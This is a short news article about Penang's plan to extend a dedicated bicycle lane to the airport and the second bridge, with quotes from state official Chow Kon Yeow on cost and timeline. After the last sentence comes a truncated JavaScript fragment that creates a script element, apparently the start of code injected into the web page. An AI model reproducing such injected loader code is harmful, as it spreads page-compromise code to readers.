Story by Chan Lilian
A DEDICATED bicycle lane will be made available soon all the way to the Penang International Airport.
This announcement will be well received by cyclists who work in the Bayan Lepas factories as they had suggested for this facility to enable them to cycle to work.
During the presentation at the Penang State Assembly on 20 Nov, Exco member for Local Government, Traffic Management and Flood Mitigation Chow Kon Yeow reported that the project will cost around RM10 million.
“In view of the increase in numbers of cyclists who are using the dedicated bicycle lane, the state government proposed to extend the lane. A bridge will be built to cross Sungai Pinang. The state government through the Penang Island City Council will also connect the dedicated lane from Straits Quay to the Penang International Airport and the Jambatan Sultan Abdul Halim Mu’adzam Shah (Penang second bridge) measuring 32km,” Chow said.
“The proposal includes the construction of a new lane, lighting, flyover from Lebuhraya Tun Dr. Lim Chong Eu and a viewing tower near Queensbay. Two bridges will also be built over Sungai Keluang and Sungai Nibong. Work is expected to be completed by end 2017,” he added.var d=document;var s=d.createElement(‘script’);